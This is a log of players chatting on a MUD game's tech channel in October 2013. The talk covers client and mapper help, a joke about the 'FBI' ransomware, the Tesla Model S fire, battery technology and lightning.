T3/r7/2013-10-01.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: sorry alias is wacked
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Altere Tech: is there a mapper command to remove a exit?
T3/r7/2013-10-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you can right click a room and delete the exits
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Rodae Tech: yes... read mapper help
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Turie Tech: Right click on the "room" in the mapper screen and select delete exit.
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Nuanse Tech: .h 10
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Nuanse Tech: yeah yeah, I know -h
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Nuanse Tech: mapper help, mapper delete cexits
T3/r7/2013-10-01.txt.gz:{chan ch=tech}Altere Tech: i wasn't talking about cexits, but Turie's info helped.
T3/r7/2013-10-01.txt.gz:{chan ch=tech}CptAmerica Tech: is there a device i can use to wirelessly share my screen with my tv?
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Does anyone know any decent coding forums?
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Specifically in web design, HTML 5, CSS etc
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Jedhi Tech: http://www.webdesignerforum.co.uk/
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Thank you.
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: BTW, html and css is not coding, it's technical writing. 
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Jaenelle Tech: I thought technical writing was the instruction books you get with your tv? :P
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, it's just writing.
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: Not saying it's easy, though.
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Hmmm, so what would you define coding as then?
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: The language you code in should be turing complete, otherwise it's not coding, it's something else.
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: HTML is a markup language, not a programming language.
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Ranrr Tech: If you generate HTML, on the other side, you are coding :D
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Grissom Tech: how does the wildcard string look like in mush for example:Double experience for 10 minutes courtesy of Zetkax's daily blessing. but the Zetkax's part must be wildcarded as i want to play a sound when double exp begins 
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Grissom Tech: how does the wildcard string look like in mush for example:Double experience for 10 minutes courtesy of Zetkax's daily blessing. but the Zetkax's part must be wildcarded as i want to play a sound when double exp begins 
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Grissom Tech: and why the hell is my tech channel text now purple
T3/r7/2013-10-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: do it in regex (/w+) or i think without regex it would just be *
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Arindel Tech: because your fabulous
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Grissom Tech: ok thanks :)
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Qaebl Tech: anyone have any clue why thunderbird is not displaying this one email sent by someone using applemail
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Akuri Tech: is there an easy way to timestamp logs in mushclient 
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Leinei Tech: you can set the time in the preamble section
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Leinei Tech: in the logging window
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Leinei Tech: there's a few different formats, iirc.  the help button should list them
T3/r7/2013-10-02.txt.gz:{chan ch=tech}DagasWolf Tech: i have logged back in for the first time in 3 years... now i have all this "[/helpbody]" and stuff... how do i reset my character to the new mush thingy?
T3/r7/2013-10-02.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: help tags
T3/r7/2013-10-02.txt.gz:{chan ch=tech}DagasWolf Tech: thanks Drakoth
T3/r7/2013-10-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tesla model s fire, lol
T3/r7/2013-10-03.txt.gz:{chan ch=tech}DagasWolf Tech: is there a way to change all things to what is needed by the mush client? i am getting all sorts of tag warnings, and mapping isn't working
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: you could do what I did.  redownload aardmush and start over.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}DagasWolf Tech: start over???
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: just an option  harsh but it worked.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: i mean start with fresh cliet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Rodae Tech: you could try to follow the upgrade options on the aardwolf page
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Rodae Tech: that way you don't lose everything
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: my wway is way easier  lol
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Rodae Tech: yeah, but then you have to start over =P
T3/r7/2013-10-03.txt.gz:{chan ch=tech}DagasWolf Tech: i don't have much in here... but this is the new client that i just downloaded... it is acting like it doesn't wanna reset what ever is in the background
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: it runs from a folder.  u don't have to install it.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}DagasWolf Tech: i am still getting the map in my main window, and the little window says i am not playing... 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: I'm trying to write an AI for a complicated card game, does anyone have any suggestions which algorithms I should use or how to approach this problem?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: anyone?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: dagaswolf: type "tags", make sure that "Global" is "On" and that "MAP" is "YES"
T3/r7/2013-10-03.txt.gz:{chan ch=tech}DagasWolf Tech: it is working now... had an issue with something in the install.. just reinstalled and works great. thanks though Abe
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: why doesnt my direction buttons work on my phone
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: depends on the phone, depends on the client, depends on the client's configuration...the MUD only knows what is sent to it
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: ty abe
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: got a galaxy samsung s4
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: whu
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: dw this client from aards homepage
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Pooky Tech: the android client from the aard site is buggy
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Pooky Tech: go for the original blowtorch app if u want a phone client, it's a bit better
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Alucard Tech: ty pooky wherebdo i find that one
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Pooky Tech: google playstore should have it
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Pooky Tech: or just do a search for blowtorch android
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Modi Tech: anyone know about removing the fbi virus?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Bode Tech: there are some decent walkthroughs on the net for that one
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Devol Tech: anyone know if Mushclient works on windows RT tablets?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ampersand Tech: nope
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Bunnyy Tech: not as far as i know
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Bunnyy Tech: exe doesn't work
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Devol Tech: ahhh thanks :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Bunnyy Tech: i just played on the webclient for the surface rt
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tormat Tech: does the  in tintin mean line break and continue?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tormat Tech: ""
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tormat Tech: backslash
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tormat Tech: backslash
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: help, the fbi is watching me through my webcam and wants $500 to not prosecute me
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: pay up
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: better pay up
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: also, take your computer into the cops
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i can help you settle the issue with my connections though for just $400
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: so they can plant some porn on there and then prosecute you for it
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: run combofix
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: porn is illegal?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: the kind they plant on there is :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how can the FBI remotely activate my webcam?  it's filming me and I never use it wtfff
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: i don't know if your joking or not but that is a virus
T3/r7/2013-10-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Ugh, I thought I had that gagged.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Kojiro: They want you secret winning recipe for sarcasm and insanity!
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Gerer, I am joking :)  Just livening up the joint
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: Gener P  okay  some peole bring their computer to me after they have paid tht and it does not remove it.  lol
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: None the Wyza aims the Whack-a-Troll machine at Not Guilty Kojiro...you pity him.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: tesla model s incinerated, lol
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: After the driver ran over some metal
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what an incredibly rare event
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: and did serious damage to the battery compartment
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: it'd be like gashing your gas tank open with metal and then being surprised when a spark set your car on fire
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i wonder if electric cars would be more dangerous in car crashes
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they are way more dangerous... for that car that hits THEM.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: unless you are little plebian leaf/spark
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: would it be easier to release the energy stored in batteries compared to igniting petrol?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: model s is a 5,000 pound tank
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: redryn, it depends :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yes and no
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: i'm hoping by the time i have grandkids the cars will just drive themselves and accidents will be a thing of the past :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i would like to know what can pierce quarter inch aluminum
T3/r7/2013-10-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: google alread does that wyza
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: oh , i know
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: but that's a very limited fleet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: i'm talking mass adoption
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: quarter inch aluminium isn't very solid i would guess?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: > 75%
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i'm not buying the tesla party line
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: I bet you could pierce that with a hammer and a nail
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: alumninum is not hard to pierce at all...
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: take into account the mass of the vehicle and the immovable object of the ground and you've got plenty of power to drive stuff through alot of things
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: do you guys think this will lower demand for the model S or lower the cool factor?  Seems like it might have a snicker factor now.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: "sup dood is ur car on fure jst checken #hotsauce"
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: if it lowers the demand its only lowering the demand for stupid people who don't bother to think
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Personally, I would like to see more electric and hydrogen fuel cell vehicles.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: my demand for those kind of people is already quite low :P
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: look what happened to the volt in '09.  it got crushed by the fire report.  curious if tesla will survive that.  time to summon PR master elon
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and by survive i mean just whether their demand will grow more slowly
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Telsa will survive.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: the tesla is just a niche toy for rich people anyways. Has nothing to do with real adaption of electric cars.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Ford, Chevy, Dodge, and other car companies have a much worse safety record.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: electric cars are inevitable imo
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: the only way the electric market will make mass adoption is to get them affordable over a 10 year period and to do that, battery tech still needs to improve
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i would guess tesla as a pioneer would survive for some time as they probably have some important patents
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: yea, battery tech hasn't really improved for years
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they have better.. the model s is established as luxury brand and the only performance EV.  others are 5 years away if they ever get there.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Battery tech need a breakthrough. We are still using 200 years old concepts in dealing with batteries.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: its improving, but there hasn't been any epic leaps since lithium ion
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i saw one article on a new battery structure than could allow 10x faster charging
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: yeah, but it could take a decade to bring it to market, if ever
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: why so long? are batteries as heavily regulated as pharmaceuticals?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: because scaling things up to mass production is hard
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: hmmm
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: just cause you can do it in a lab and it takes (for example) 10 weeks to build 1 battery, doesn't mean you can make millions of them a year
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i doubt it would take more than a year
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: oh
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: mass production + work into a mass produced auto = double super ultra hard
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: that depends on what the battery tech is
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Gener Tech: plus the oil company lobbyists pay big bucks to stifle electric car production
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: if they just change the components like lithium to something else it shouldn't take long to scale up
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it would take a year just to build a plant, never mind the engineering and testing of both the battery and the application
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: one problem, is that alot of the new battery tech is based on graphene
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: which is an amazing substance
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Oil has curbed many way gas engines could be running at 80+ mpg. The tech has been around for cars to get 50+ mpg since the 40s.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: but they are just now starting to really get to the point where they can mass produce it, and even then its not affordable yet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: (keeping in mind that graphene was discovered 40 years ago and we just now are making it useful...)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: ah, yea graphene was that battery that could charge super fast
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: The Pento had capabilities of getting over 50 mpg back in the 70s.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: for the tech to work it can't have debilitating trade-offs.  a lot of new battery techs do
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: yeah like, hey i can charge it in 5 minutes, but it only lasts for an hour or something silly :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: heat, cycles, energy density, discharge, raw mat costs, production of anode/cathode, stability all has to be there.  and tHEN you need scale to be economical.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that's why tesla just uses the 18650 laptop format small cell battery, and why they have no economic competition for EVs.  pretty smart and a little lucky with laptop demand leaving them idle production.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Personally, I think it is more likely that we make a synthetic hydrocarbon than eletric cars. Or maybe a combo.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: http://www.pcadvisor.co.uk/features/tech-industry/3453389/graphene-batteries-what-you-need-know/
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: seems like it's really expensive way to do things ranrr
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Run on battery the first 30 mins, then switch to (getting the electricity) from a diesel engine.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: I would like to see solar collectors use 80%+ of solar radiation from the sun.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: synthetic hydrocarbons means you have to expend the energy converting stuff into fuel first
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: If you use an electric engine for propulsion, and a small diesel for generatic electricity, it could be cheaper than cars today.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: are you referring to biodiesel or starting from scratch?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: what about those gasoline to electrictity converters  
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: What is the blue fuel that is being worked on in Europe.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: perhaps redryn, i read an article about using algea recently for creating hydrocarbons, so it might be possible to let nature do the work for us
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Not sure, Redryn. 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: i definitely want solar tech to continue to advance, I'd be excited to see 50%+ efficiency at a reasonable cost, which i think we'll get to soon (if we haven't already)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Me too, Wyza :D
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: just need some antitrust actions against competitors trying to undermine them :p
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: the gasoline is chemically converted directly to electricity by passing through special wafers 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: but again, solar (for it to be widely adopted) needs batteries
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ranrr, isn't that called the chevy volt?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: for transient power storage
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: which gets us back to battery tech needing to be improved
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Dunno, but there are cars like that.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: a lot of alternative energies need battery tech to improve
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the only one that runs electric w/ a gas-powered generator is the volt
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: (except the ECM are sabotaged by incompetent and or malicious programmers)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: If you say so. I don't know every car in the world, I'm not some kind of geek! 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: so yeah, the person or team who creates the next leap in battery tech will be filthy rich for ever....
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: Couldn't we just store the energy in the cloud?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: Ranrr smiles happily.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: None the Wyza laughs out loud.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: yup
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: the cloud is the answer to all IT problems
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: if marketing is to be believed
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: yea we will transfer energy to cars through lightning
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: tesla style
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: free energy for all!
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: lol, lightning is so innefficient, so much loss :P
T3/r7/2013-10-03.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: not my lightning, 99.9% efficient!
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: (lightning is likely to wreck the car in the transfer process, perhaps electrocuting and frying the lightning advocates in the process) 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: the car is just a faraday cage
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: yeah, the car is a super safe place to be
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: insulated from ground
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: didn't you have those lightning advisory things as a kid? :p
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: i don't know if i'd go so far as to call it a true faraday cage (if it were, cell phones wouldn't work)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: yea well, it functions largely the same way viz lightning
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: do all faraday cages block cellphones though
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: lightning likes the path of least resistance and is likely to avoid cars built like faraday cages, unless the car is earthed to ground
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i thought it didn't matter
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: we have cars not earthed to ground?
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i did not know we have flying cars yet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: most cars are not earthed to ground
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: rubber acts as an insulator :)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: ah
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: and funnily enough, most cars have rubber between them and the ground
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: i'm pretty sure a car has less resistance than air though
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: park a car on a hill and tell me if it doesn't hit it :p
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: somebody skipped an actual science education in lieu of "Back to the Future" movies - xchan
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: unless you have a ghetto car where parts are hanging off the bottom
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: on the other hand, its completely possible for lightning to go through one window in a car, through you, out another window and then into the ground
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: http://physics.stackexchange.com/questions/66663/does-rubber-insulate-lightning-more-effectively-than-air
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: saying a car isn't going to be hit by lightning is like saying you won't get hit by lightning cos you're wearing rubber boots
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: a car that may only be driven in a lightning storm is unlikely to be popular - also embarking and disembarking is likely to be electrifying if lightning likes to strike the car
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: Redryn pats Zade on his head.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: thwap Redryn
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: oh there are plenty of reasons why we aren't going to get energy from THE CLOUD
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: Zade wears a curare spiked prickly barb helmet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: but just saying your original claim that the driver will be fried is wrong :p
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: speaking of which, i wonder if people have made any progress on harnessing lightning yet
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: seems unlikely since we can't even produce lightning yet (at least not at the scale nature does on its own)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: Zade was "hoping" that the lightning-car advocates be fried so as to scorch that idiocy
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: "Bach to the Future" is unsuitable viewing to those without a decent science education
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Zade Tech: Back
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: lol
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: TV is unsuitable viewing to those without a decent science education
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: huh, according to google the actual energy lightning outputs is really low
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: the mythbusters have ruined so many movies :(
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: very high voltage, very low current (in comparison)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Being factually incorrect is not going to prevent me from enjoying the movies I want to enjoy. Mostly.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: idk, when they shoot gas tanks
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: and the car instantly explodes
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Redryn Tech: From [en.wikipedia.org] , "According to Northeastern University physicists Stephen Reucroft and John Swain, a lightning bolt carries a few million joules of energy, enough to power a 100-watt bulb for 5.5 hours." 
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: its kind of sour
T3/r7/2013-10-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Also true.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Redryn: let me fix that...
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: Mythbuster proved you can shoot a car gas tank and blow up the car.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Leinei Tech: Only with incindiery rounds, iirc
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Leinei Tech: and wow, I butchered that word
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: and only after you filled the tank with enough holes to create the right mixture
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: not blow it up....I need to go to bednow
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: of gas to air
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: in other words, impossible
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Leinei Tech: wow, I was closer than I thought
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: and they also did the hole in a gas tank and light the trail on fire and blow up the car/plane
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Turie Tech: I have seen a person toss a cigarette into a bucket of gas and it not catch on fire. However, the vapors from the gasoline catches on fire easy.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Tech: None the Wyza nods at Turie.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Leinei Tech: The sawdust and creamer fires were pretty impressive
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Leinei Tech: (two different ones)
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: yup, creamer being ultra flamable is crazy funny
T3/r7/2013-10-03.txt.gz:{chan ch=tech}Ranrr Tech: You can do that with regular flour as well. Used to do that as a kid.... although at a smaller scale.
T3/r7/2013-10-03.txt.gz:{chan ch=tech}None the Wyza Tech: rubbing alchohol is fun to set fire with
